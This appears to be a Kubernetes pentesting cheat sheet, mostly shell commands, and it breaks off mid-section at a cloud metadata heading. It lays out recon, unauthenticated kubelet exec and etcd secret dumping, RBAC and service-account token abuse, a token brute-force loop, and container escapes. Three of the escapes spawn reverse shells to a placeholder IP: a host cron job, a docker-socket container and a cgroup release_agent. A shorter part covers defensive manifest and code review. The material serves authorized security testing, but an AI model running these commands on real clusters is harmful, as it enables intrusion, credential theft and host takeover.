┌─────────────────────────────────────────────────────────────┐
│ CONTROL PLANE │
│ ┌──────────┐ ┌──────┐ ┌───────────────┐ ┌───────────┐ │
│ │API Server│ │ etcd │ │Controller Mgr │ │ Scheduler │ │
│ │ :6443 │ │:2379 │ │ │ │ │ │
│ └──────────┘ └──────┘ └───────────────┘ └───────────┘ │
└─────────────────────────────────────────────────────────────┘
│
┌────────┴────────────────────────────────────────────────────┐
│ WORKER NODES │
│ ┌──────────┐ ┌──────────────┐ ┌────────────────────────┐ │
│ │ Kubelet │ │ kube-proxy │ │ Container Runtime │ │
│ │ :10250 │ │ :10256 │ │ (containerd/cri-o) │ │
│ └──────────┘ └──────────────┘ └────────────────────────┘ │
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │Pod A│ │Pod B│ │Pod C│ ← each pod has a service account │
│ └─────┘ └─────┘ └─────┘ token mounted at │
│ /var/run/secrets/... │
└──────────────────────────────────────────────────────────────┘
Attack surfaces:
- API Server (6443) — main entry, RBAC bypass, anonymous auth
- etcd (2379/2380) — unauth read = full cluster secrets
- Kubelet (10250/10255) — unauthenticated exec into pods
- Container runtime socket — breakout to host
- Cloud metadata (169.254.169.254) — IAM cred theft from pods
- Service account tokens — auto-mounted, often overprivileged
- Network policies — often missing = full pod-to-pod access
External Reconnaissance & Discovery
# --- Discover K8s-related services ---
# Nmap scan for common K8s ports
nmap -sT -p 443,2379,2380,6443,8001,8080,8443,10250,10255,10256,30000-32767 <TARGET_IP>
# Port meanings:
# 6443 = API server (HTTPS)
# 2379 = etcd client
# 2380 = etcd peer
# 10250 = Kubelet API (HTTPS, authenticated)
# 10255 = Kubelet read-only (HTTP, deprecated but sometimes open)
# 10256 = kube-proxy health
# 8001 = kubectl proxy (if exposed)
# 8080 = API server insecure port (legacy, should be disabled)
# 30000-32767 = NodePort services
# Shodan queries
# "kubernetes" port:6443
# "etcd" port:2379
# "kubelet" port:10250
# http.title:"Kubernetes Dashboard"
# Google dorks
# site:*.k8s.* OR inurl:kubernetes-dashboard
# intitle:"Kubernetes Dashboard" inurl:dashboard
# DNS enumeration (internal)
dig +short SRV _kube._tcp.<DOMAIN>
dig +short kubernetes.default.svc.cluster.local @<DNS_IP>
nslookup kubernetes.default.svc.cluster.local <DNS_IP>
# Certificate transparency for K8s subdomains
curl -s "https://crt.sh/?q=%25.k8s.<DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u
Unauthenticated Access Checks
# --- API Server anonymous auth ---
# Check if anonymous requests return cluster info
curl -sk https://<API_SERVER>:6443/api
curl -sk https://<API_SERVER>:6443/api/v1
curl -sk https://<API_SERVER>:6443/apis
curl -sk https://<API_SERVER>:6443/version
curl -sk https://<API_SERVER>:6443/healthz
# Check for anonymous RBAC bindings (big find if yes)
curl -sk https://<API_SERVER>:6443/api/v1/namespaces
curl -sk https://<API_SERVER>:6443/api/v1/pods
curl -sk https://<API_SERVER>:6443/api/v1/secrets
# Insecure port (should be disabled, but check)
curl -s http://<API_SERVER>:8080/api
curl -s http://<API_SERVER>:8080/api/v1/pods
curl -s http://<API_SERVER>:8080/api/v1/secrets
# --- Kubelet unauthenticated ---
# Read-only port (10255, deprecated)
curl -s http://<NODE_IP>:10255/pods | jq '.items[].metadata.name'
curl -s http://<NODE_IP>:10255/spec
curl -s http://<NODE_IP>:10255/metrics
# Kubelet full API (10250) — check for anonymous auth
curl -sk https://<NODE_IP>:10250/pods
curl -sk https://<NODE_IP>:10250/runningpods
curl -sk https://<NODE_IP>:10250/healthz
# Execute command in pod via kubelet (if anonymous auth enabled!)
curl -sk https://<NODE_IP>:10250/run/<NAMESPACE>/<POD_NAME>/<CONTAINER_NAME> -d "cmd=id"
curl -sk https://<NODE_IP>:10250/exec/<NAMESPACE>/<POD_NAME>/<CONTAINER_NAME> -d "cmd=cat /etc/shadow"
# kubeletctl (automated)
kubeletctl pods -s <NODE_IP>
kubeletctl runningpods -s <NODE_IP>
kubeletctl exec "id" -p <POD> -c <CONTAINER> -s <NODE_IP>
kubeletctl scan rce -s <NODE_IP>
# --- etcd unauthenticated ---
# Check if etcd allows anonymous connections
etcdctl --endpoints=http://<ETCD_IP>:2379 endpoint health
etcdctl --endpoints=http://<ETCD_IP>:2379 get / --prefix --keys-only | head -50
# Dump all secrets from etcd
etcdctl --endpoints=http://<ETCD_IP>:2379 get /registry/secrets --prefix --keys-only
etcdctl --endpoints=http://<ETCD_IP>:2379 get /registry/secrets/default --prefix
# --- Kubernetes Dashboard ---
# Check for unauthenticated dashboard
curl -sk https://<IP>:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Or on NodePort
curl -sk https://<NODE_IP>:<NODEPORT>
# Check if "Skip" login button works (gives default service account)
# --- kube-hunter automated scan ---
kube-hunter --remote <TARGET_IP>
kube-hunter --cidr <SUBNET>/24
# From within a pod:
kube-hunter --pod
Authenticated Enumeration
# --- Setup kubeconfig ---
# If you obtained a kubeconfig file or service account token:
export KUBECONFIG=/path/to/kubeconfig
# Or use token directly
kubectl --server=https://<API_SERVER>:6443 --token=<TOKEN> --insecure-skip-tls-verify get pods
# --- Cluster info ---
kubectl cluster-info
kubectl version --short
kubectl get nodes -o wide
kubectl get namespaces
kubectl api-resources # what resource types exist
kubectl api-versions # what API versions are available
# --- Enumerate everything ---
# All resources in all namespaces
kubectl get all -A
kubectl get all -A -o wide
# Pods
kubectl get pods -A -o wide
kubectl get pods -A -o json | jq '.items[] | {name: .metadata.name, ns: .metadata.namespace, node: .spec.nodeName, sa: .spec.serviceAccountName, hostNetwork: .spec.hostNetwork, privileged: (.spec.containers[].securityContext.privileged // false)}'
# Services (find exposed endpoints)
kubectl get svc -A -o wide
kubectl get svc -A -o json | jq '.items[] | {name: .metadata.name, type: .spec.type, ports: .spec.ports, externalIP: .spec.externalIPs}'
# Ingresses
kubectl get ingress -A
kubectl get ingress -A -o json | jq '.items[] | {name: .metadata.name, host: .spec.rules[].host, paths: .spec.rules[].http.paths}'
# ConfigMaps (may contain credentials, connection strings)
kubectl get configmaps -A
kubectl get configmap <NAME> -n <NS> -o yaml
# Secrets (base64 encoded, not encrypted!)
kubectl get secrets -A
kubectl get secret <NAME> -n <NS> -o json | jq '.data | map_values(@base64d)'
# Service Accounts
kubectl get serviceaccounts -A
kubectl get sa -n <NS> -o yaml
# PersistentVolumes (may mount sensitive host paths)
kubectl get pv -A
kubectl get pvc -A
# Deployments, DaemonSets, StatefulSets
kubectl get deploy -A
kubectl get daemonset -A
kubectl get statefulset -A
# Jobs & CronJobs
kubectl get jobs -A
kubectl get cronjobs -A
# Network Policies
kubectl get networkpolicies -A
# Pod Security Policies / Pod Security Standards
kubectl get psp # legacy (removed in 1.25)
kubectl get podsecuritypolicies # legacy
kubectl label --list ns <NS> # check for PSS labels
# --- Quick wins ---
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | {name: .metadata.name, ns: .metadata.namespace}'
# Find pods with hostPID/hostNetwork
kubectl get pods -A -o json | jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) | {name: .metadata.name, ns: .metadata.namespace}'
# Find pods mounting host filesystem
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, ns: .metadata.namespace, hostPaths: [.spec.volumes[] | select(.hostPath != null) | .hostPath.path]}'
# Find pods running as root
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.runAsUser==0 or .spec.securityContext.runAsUser==0) | {name: .metadata.name, ns: .metadata.namespace}'
RBAC Enumeration & Abuse
# --- What can I do? ---
kubectl auth can-i --list
kubectl auth can-i --list -n <NAMESPACE>
kubectl auth can-i --list --as system:anonymous # check anonymous access
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*' # cluster-admin check
# --- Enumerate Roles & Bindings ---
# ClusterRoles (cluster-wide)
kubectl get clusterroles
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].resources[] == "*" or .rules[].verbs[] == "*") | .metadata.name'
# ClusterRoleBindings
kubectl get clusterrolebindings
kubectl get clusterrolebindings -o json | jq '.items[] | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
# Roles (namespace-scoped)
kubectl get roles -A
kubectl get roles -n <NS> -o json | jq '.items[] | {name: .metadata.name, rules: .rules}'
# RoleBindings
kubectl get rolebindings -A
kubectl get rolebindings -n <NS> -o json | jq '.items[] | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
# --- Find overprivileged service accounts ---
# Who can get secrets?
kubectl who-can get secrets -A
kubectl who-can get secrets -n kube-system
# Who can create pods?
kubectl who-can create pods -A
# Who can exec into pods?
kubectl who-can create pods/exec -A
# Who has cluster-admin?
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | {name: .metadata.name, subjects: .subjects}'
# --- RBAC abuse: escalate via create pods ---
# If you can create pods in a namespace with a privileged SA:
# Create a pod using a high-privilege service account
# priv-pod.yaml — abuse a service account with high privileges
apiVersion: v1
kind: Pod
metadata:
name: privesc-pod
namespace: <NAMESPACE>
spec:
serviceAccountName: <HIGH_PRIV_SA>
automountServiceAccountToken: true
containers:
- name: shell
image: ubuntu
command: ["/bin/bash", "-c", "sleep infinity"]
kubectl apply -f priv-pod.yaml
kubectl exec -it privesc-pod -n <NAMESPACE> -- bash
# Inside: cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use that token to authenticate to the API with higher privileges
# --- RBAC abuse: impersonate ---
# If you have impersonate rights:
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts
# Use impersonation
kubectl --as=system:admin get secrets -A
kubectl --as=system:serviceaccount:kube-system:default get pods -A
Service Account Token Exploitation
# --- From inside a pod ---
# Default token mount location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Set up environment
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export APISERVER=https://kubernetes.default.svc
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# --- Query API with token ---
# What can this SA do?
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews -X POST -H "Content-Type: application/json" -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NAMESPACE'"}}'
# List pods
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/pods
# Get secrets
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/secrets
# List all namespaces
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
# Get nodes (cluster-scoped)
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/nodes
# --- Use kubectl from inside the pod ---
# Download kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
# It auto-detects the mounted SA token
./kubectl auth can-i --list
./kubectl get pods
./kubectl get secrets
# --- Steal tokens from other pods ---
# If you have access to the node filesystem (hostPath mount or container escape):
find /var/lib/kubelet/pods -name token -type l 2>/dev/null
find /var/lib/kubelet/pods -name "*.jwt" 2>/dev/null
# Each pod's token is at:
# /var/lib/kubelet/pods/<POD_UID>/volumes/kubernetes.io~projected/kube-api-access-<RAND>/token
# --- JWT token inspection ---
# Decode the token to see SA name, namespace, and expiry
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
Pod Security — Breakout & Escape
Detect Container Environment
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker\|kubepods\|containerd
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i kubernetes
hostname # K8s pods usually have the pod name as hostname
env | grep -i KUBERNETES
# What capabilities do I have?
cat /proc/self/status | grep Cap
# Decode: capsh --decode=<HEX>
capsh --print 2>/dev/null
# Am I privileged?
cat /proc/self/status | grep -i seccomp
# Seccomp: 0 = disabled (privileged)
# Seccomp: 2 = filter mode (normal)
# Check for container runtime socket
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/crio/crio.sock 2>/dev/null
Privileged Pod Escape
# --- If the pod is privileged (securityContext.privileged: true) ---
# Method 1: Mount host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host # or /dev/xvda1 on AWS
# Now access entire host filesystem
cat /mnt/host/etc/shadow
cat /mnt/host/etc/kubernetes/admin.conf
ls /mnt/host/var/lib/kubelet/
chroot /mnt/host bash # become root on the host
# Method 2: nsenter to host PID namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# You are now root on the host
# Method 3: Write cron job on host
echo '* * * * * root bash -c "bash -i >& /dev/tcp/<IP>/443 0>&1"' > /mnt/host/etc/cron.d/revshell
# Method 4: Write SSH key
mkdir -p /mnt/host/root/.ssh
echo '<YOUR_SSH_PUBKEY>' >> /mnt/host/root/.ssh/authorized_keys
# --- CDK automated exploit ---
./cdk evaluate # evaluate container security
./cdk run shim-pwn # exploit containerd-shim
./cdk run docker-sock-deploy # deploy via docker socket
./cdk run mount-disk # mount host disk
Container Runtime Socket Escape
# --- Docker socket mounted ---
# Check: ls -la /var/run/docker.sock
# If writable, you can create containers on the host
# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[].Names'
# Create a privileged container with host filesystem
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host bash -c \"bash -i >& /dev/tcp/<IP>/443 0>&1\""],"Binds":["/:/host"],"Privileged":true}'
# Start it
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<ID>/start
# --- containerd socket ---
# Use ctr (containerd CLI)
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock tasks exec --exec-id pwn <CONTAINER_ID> /bin/sh
# --- crictl (CRI-O) ---
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
crictl --runtime-endpoint unix:///var/run/crio/crio.sock exec <CONTAINER_ID> /bin/sh
Escape via Host Path Mounts
# If pod has hostPath volume mounted to sensitive paths:
# /etc, /var/run, /var/lib/kubelet, /root, etc.
# Check what's mounted
mount | grep -v "overlay\|proc\|sys\|tmpfs\|cgroup"
cat /proc/self/mountinfo | grep -v "overlay\|proc\|sys"
# If /var/lib/kubelet is accessible:
find /var/lib/kubelet/pods -name token 2>/dev/null
# If /var/run/docker.sock or runtime socket is mounted:
# See Container Runtime Socket Escape above
# If /etc of host is mounted:
cat /host-etc/shadow
cat /host-etc/kubernetes/admin.conf
Escape via Capabilities
# --- CAP_SYS_ADMIN ---
# Mount host filesystem
mount /dev/sda1 /mnt
# Or abuse cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/<IP>/443 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# --- CAP_SYS_PTRACE ---
# Inject into processes on the same host (if hostPID: true)
# Use nsenter or process_vm_writev
# --- CAP_NET_ADMIN ---
# Sniff traffic, ARP spoof within the pod network
tcpdump -i eth0 -w /tmp/capture.pcap
# --- CAP_DAC_READ_SEARCH ---
# Read any file regardless of permissions
# Use open_by_handle_at() exploit: https://github.com/gabrtv/shocker
Container Image Security Review
# --- Scan images for vulnerabilities ---
trivy image <IMAGE_NAME>:<TAG>
trivy image --severity HIGH,CRITICAL <IMAGE>:<TAG>
trivy image --ignore-unfixed <IMAGE>:<TAG>
# Scan all images running in the cluster
kubectl get pods -A -o json | jq -r '.items[].spec.containers[].image' | sort -u | while read img; do
echo "=== Scanning: $img ==="
trivy image --severity HIGH,CRITICAL "$img" 2>/dev/null
done
# --- Inspect image layers (find secrets) ---
# Pull and inspect
docker pull <IMAGE>
docker history <IMAGE> --no-trunc
docker inspect <IMAGE>
# Dive (interactive layer explorer)
dive <IMAGE>
# Extract filesystem
docker save <IMAGE> -o image.tar
mkdir image_extract && tar xf image.tar -C image_extract
# Search for secrets in layers
find image_extract -name "*.tar" -exec tar tf {} \; | grep -iE "\.env|password|secret|key|token|credential|\.pem|\.key"
for layer in image_extract/*/layer.tar; do
echo "=== $layer ==="
tar xf "$layer" -C /tmp/layer_check 2>/dev/null
grep -rn -iE "password|secret|api_key|token|AWS_" /tmp/layer_check 2>/dev/null
rm -rf /tmp/layer_check
done
# --- Check for hardcoded credentials in Dockerfiles ---
# Look in build history for ARG/ENV with secrets
docker history --no-trunc <IMAGE> | grep -iE "ARG|ENV" | grep -iE "pass|secret|key|token"
# --- Image provenance ---
# Check if image is from a trusted registry
kubectl get pods -A -o json | jq -r '.items[].spec.containers[].image' | sort -u | grep -v "gcr.io\|docker.io\|quay.io\|amazonaws.com"
# Images from unknown registries = supply chain risk
Code Review — K8s Manifests & Helm Charts
What to Look For
# === DANGEROUS POD SPECS ===
# 1. Privileged containers (full host access)
securityContext:
privileged: true # BAD — grants all capabilities + device access
# 2. Host namespaces (access host PID/network/IPC)
hostPID: true # BAD — see host processes, ptrace them
hostNetwork: true # BAD — bind to host ports, sniff traffic
hostIPC: true # BAD — shared memory access
# 3. Dangerous capabilities
securityContext:
capabilities:
add:
- SYS_ADMIN # BAD — mount filesystems, escape container
- SYS_PTRACE # BAD — debug/inject into host processes
- NET_ADMIN # BAD — network manipulation
- DAC_READ_SEARCH # BAD — read any file
- NET_RAW # RISKY — raw sockets, ARP spoof
# 4. Host filesystem mounts
volumes:
- name: host-root
hostPath:
path: / # BAD — entire host filesystem
- name: docker-sock
hostPath:
path: /var/run/docker.sock # BAD — container escape
- name: kubelet
hostPath:
path: /var/lib/kubelet # BAD — steal SA tokens
# 5. Running as root
securityContext:
runAsUser: 0 # BAD — root in container
runAsNonRoot: false # BAD — allows root
# GOOD: runAsNonRoot: true, runAsUser: 1000
# 6. Writable root filesystem
securityContext:
readOnlyRootFilesystem: false # RISKY — attacker can write to container FS
# GOOD: readOnlyRootFilesystem: true
# 7. Service account auto-mount (usually unnecessary)
automountServiceAccountToken: true # Default! Most pods don't need API access
# GOOD: automountServiceAccountToken: false
# 8. No resource limits (DoS risk)
# Missing: resources.limits.cpu, resources.limits.memory
# 9. Secrets in environment variables (visible in pod spec)
env:
- name: DB_PASSWORD
value: "plaintext-password" # BAD — use secretKeyRef instead
# Slightly better but still base64:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: db-secret
key: password
Automated Manifest Scanning
# kubesec — score manifests for security
kubesec scan deployment.yaml
# Returns score and list of issues
# kube-linter — static analysis for K8s manifests
kube-lint lint deployment.yaml
# checkov — IaC security scanner
checkov -f deployment.yaml --framework kubernetes
# OPA/Gatekeeper — check against policies
# conftest (OPA for CI)
conftest test deployment.yaml --policy policy/
# Scan entire directory of manifests
find . -name "*.yaml" -o -name "*.yml" | xargs -I{} kubesec scan {}
Helm Chart Review
# Render Helm templates to see actual K8s manifests
helm template <CHART_DIR> > rendered.yaml
helm template <RELEASE_NAME> <CHART_DIR> --values values.yaml > rendered.yaml
# Review values.yaml for defaults
cat values.yaml | grep -iE "password|secret|key|token|privileged|hostPath|hostNetwork|root"
# Check for hardcoded secrets in templates
grep -rn "password\|secret\|apiKey\|token" templates/
# Scan rendered output
kubesec scan rendered.yaml
# Check if Helm release secrets are accessible
kubectl get secrets -A | grep "sh.helm.release"
kubectl get secret sh.helm.release.v1.<RELEASE>.v1 -n <NS> -o json | jq -r '.data.release' | base64 -d | base64 -d | gzip -d
Code Review — Application Code in K8s
K8s-Specific Code Patterns to Audit
# === INSECURE K8S CLIENT CONFIGURATION ===
# Python — kubernetes client with disabled TLS verification
from kubernetes import client, config
configuration = client.Configuration()
configuration.verify_ssl = False # BAD — MitM risk
configuration.host = "https://kubernetes.default.svc"
# Python — hardcoded service account token
configuration.api_key = {"authorization": "Bearer eyJhbGci..."} # BAD — token in code
# GOOD: use in-cluster config
config.load_incluster_config() # Uses mounted SA token automatically
// Go — insecure K8s client
import "k8s.io/client-go/rest"
config := &rest.Config{
Host: "https://kubernetes.default.svc:6443",
BearerToken: "eyJhbGci...", // BAD — hardcoded token
TLSClientConfig: rest.TLSClientConfig{
Insecure: true, // BAD — no TLS verification
},
}
// GOOD:
config, _ := rest.InClusterConfig()
// Java — fabric8 kubernetes client
import io.fabric8.kubernetes.client.*;
// BAD: hardcoded credentials
Config config = new ConfigBuilder()
.withMasterUrl("https://kubernetes.default.svc")
.withOauthToken("eyJhbGci...") // hardcoded
.withTrustCerts(true) // no TLS verify
.build();
// GOOD:
KubernetesClient client = new KubernetesClientBuilder().build(); // auto in-cluster
Application-Level K8s Security Issues
# === WHAT TO GREP FOR IN APPLICATION CODE ===
# Hardcoded K8s tokens/credentials
grep -rn "eyJhbGci" . # JWT tokens
grep -rn "Bearer " . | grep -v test # Auth headers
grep -rn "kubernetes.default.svc" . # API server refs
# Insecure TLS
grep -rn "verify_ssl.*False\|InsecureSkipVerify.*true\|TrustCerts.*true\|VERIFY_NONE" .
# Environment variable secrets (should use mounted secrets or vault)
grep -rn "os.environ\|os.Getenv\|System.getenv" . | grep -iE "password|secret|key|token"
# Cloud metadata access
grep -rn "169.254.169.254" . # metadata endpoint
grep -rn "metadata.google\|metadata.azure" .
# Container exec (code that runs kubectl exec or API equivalent)
grep -rn "pods/exec\|container.*exec\|kubectl.*exec" .
# ServiceAccount mounting
grep -rn "automountServiceAccountToken\|serviceAccountName\|serviceAccount:" .
# Privilege escalation in specs
grep -rn "privileged.*true\|hostPID.*true\|hostNetwork.*true\|SYS_ADMIN\|SYS_PTRACE" .
Admission Webhook Code Review
// If the target runs custom admission webhooks, review for:
// 1. Bypass via label/annotation manipulation
// Does the webhook only check certain namespaces/labels?
if pod.Namespace == "kube-system" { return allowed } // BAD — skip security for system ns
// 2. Missing validation
// Does it actually reject dangerous configs?
// Check: privileged, hostPath, capabilities, runAsRoot
// 3. Mutating webhook that injects secrets
// Does it inject tokens/creds that shouldn't be broadly available?
// 4. Webhook TLS configuration
// Is it using self-signed certs? Can it be MitM'd?
Secrets Management
# --- K8s Secrets are base64, NOT encrypted at rest by default ---
# List all secrets
kubectl get secrets -A
# Decode a secret
kubectl get secret <NAME> -n <NS> -o json | jq '.data | map_values(@base64d)'
# One-liner: dump ALL secrets from ALL namespaces
kubectl get secrets -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
# Search secrets for interesting data
kubectl get secrets -A -o json | jq -r '.items[].data // {} | to_entries[] | .value' | while read val; do echo "$val" | base64 -d 2>/dev/null; echo; done | grep -iE "password|token|key|secret|conn"
# --- Check if secrets are encrypted at rest ---
# On the control plane node:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep encryption-provider-config
# If missing → secrets stored in plaintext in etcd
# --- Mounted secrets in pods ---
# Find where secrets are mounted
kubectl get pods -A -o json | jq '.items[] | {pod: .metadata.name, ns: .metadata.namespace, secrets: [.spec.volumes[]? | select(.secret != null) | .secret.secretName]}'
# --- External secrets ---
# Check for external-secrets or sealed-secrets
kubectl get externalsecrets -A 2>/dev/null
kubectl get sealedsecrets -A 2>/dev/null
# --- Vault integration ---
# Check for Vault Agent injector
kubectl get mutatingwebhookconfigurations | grep vault
kubectl get pods -A | grep vault
etcd Exploitation
# --- If you have access to etcd (port 2379) ---
# This is game over — etcd stores ALL cluster state including secrets
# Install etcdctl
ETCD_VER=v3.5.9
curl -L https://github.com/etcd-io/etcd/releases/download/${ETCD_VER}/etcd-${ETCD_VER}-linux-amd64.tar.gz | tar xz
sudo mv etcd-${ETCD_VER}-linux-amd64/etcdctl /usr/local/bin/
# --- Unauthenticated access ---
etcdctl --endpoints=http://<ETCD_IP>:2379 endpoint health
etcdctl --endpoints=http://<ETCD_IP>:2379 member list
# --- With TLS client certs (if you've stolen them) ---
etcdctl --endpoints=https://<ETCD_IP>:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
endpoint health
# --- Dump everything ---
etcdctl --endpoints=<ENDPOINT> get / --prefix --keys-only | head -100
etcdctl --endpoints=<ENDPOINT> get / --prefix > etcd_dump.txt
# --- Extract secrets ---
etcdctl --endpoints=<ENDPOINT> get /registry/secrets --prefix --keys-only
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/kube-system --prefix
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/default --prefix
# --- Extract service account tokens ---
etcdctl --endpoints=<ENDPOINT> get /registry/serviceaccounts --prefix --keys-only
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/kube-system/default-token --prefix
# --- Find admin kubeconfig ---
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/kube-system --prefix | strings | grep -A5 "kubeconfig\|admin"
# --- Modify cluster state (careful!) ---
# Create a cluster-admin binding for your user
# (Extract existing binding, modify, put back)
Network Policy & Service Mesh
# --- Check if NetworkPolicies exist ---
kubectl get networkpolicies -A
# Empty = no network segmentation = any pod can talk to any pod
# --- From inside a pod: scan the internal network ---
# Install tools
apt update && apt install -y nmap curl dnsutils netcat-openbsd
# Discover service CIDR
cat /etc/resolv.conf # shows cluster DNS
env | grep KUBERNETES # API server IP
# DNS service discovery
nslookup kubernetes.default.svc.cluster.local
# Query all services in a namespace
dig +short SRV *.*.svc.cluster.local @<CLUSTER_DNS_IP>
# Enumerate services via DNS
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' 2>/dev/null || echo "default kube-system"); do
for svc in $(dig +short SRV *.${ns}.svc.cluster.local @10.96.0.10 2>/dev/null | awk '{print $4}' | sort -u); do
echo "$ns: $svc"
done
done
# Port scan common services within cluster
# Usually 10.96.0.0/12 (service CIDR) and 10.244.0.0/16 (pod CIDR)
nmap -sT -T4 -p 80,443,3306,5432,6379,8080,8443,9090,27017 10.96.0.0/16 2>/dev/null
# Access internal services directly
curl http://10.96.0.1:443 # API server
curl http://<SVC_CLUSTER_IP>:<PORT>
# --- Check for service mesh ---
# Istio
kubectl get pods -A | grep istio
kubectl get virtualservices -A 2>/dev/null
kubectl get destinationrules -A 2>/dev/null
# Linkerd
kubectl get pods -A | grep linkerd
# mTLS between services?
# If Istio with strict mTLS, pod-to-pod is encrypted
# But from inside a pod in the mesh, you still have the proxy sidecar
Kubelet Exploitation
# --- Kubelet API (port 10250) ---
# List pods on this node
kubeletctl pods -s <NODE_IP>
curl -sk https://<NODE_IP>:10250/pods | jq '.items[].metadata.name'
# Exec into any pod on this node
kubeletctl exec "id" -p <POD> -c <CONTAINER> -s <NODE_IP>
kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <POD> -c <CONTAINER> -s <NODE_IP>
# Scan for RCE capability
kubeletctl scan rce -s <NODE_IP>
# Get container logs
kubeletctl logs -p <POD> -c <CONTAINER> -s <NODE_IP>
# --- Read-only Kubelet (port 10255, deprecated) ---
curl http://<NODE_IP>:10255/pods
curl http://<NODE_IP>:10255/spec
curl http://<NODE_IP>:10255/stats/summary
# --- Steal kubelet credentials ---
# If you've escaped to the host node:
cat /etc/kubernetes/kubelet.conf
cat /var/lib/kubelet/config.yaml
ls /var/lib/kubelet/pki/
# The kubelet client cert can be used to authenticate to the API server
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get pods -A
API Server Attacks
# --- Anonymous authentication ---
curl -sk https://<API>:6443/api/v1/namespaces
# If it returns data → anonymous auth is enabled
# --- Token brute force (from leaked/found tokens) ---
# Try each token
for token in $(cat tokens.txt); do
result=$(curl -sk -H "Authorization: Bearer $token" https://<API>:6443/api/v1/namespaces 2>&1)
if echo "$result" | grep -q '"items"'; then
echo "[+] Valid token: $token"
fi
done
# --- API server on insecure port ---
curl http://<API>:8080/api/v1/pods
curl http://<API>:8080/api/v1/secrets # full cluster access!
# --- OIDC/webhook token abuse ---
# If the API server uses OIDC authentication:
# Forge JWT tokens if you have the OIDC provider's signing key
# Or exploit SSRF to hit the OIDC provider
# --- API server DoS (resource exhaustion) ---
# Create many pods/deployments (if RBAC allows)
# Can crash scheduler and etcd on small clusters
Cloud Provider Metadata Attacks
# --- From inside a K8s pod, hit the cloud metadata service ---
# AWS (IMDSv1 — if not restricted by NetworkPolicy or IRSA)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
# Returns: AccessKeyId, SecretAccessKey, Token
# AWS IMDSv2 (token required)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS EKS — node IAM role
# All pods on the node inherit the node's IAM role unless using IRSA (IAM Roles for Service Accounts)
# GCP
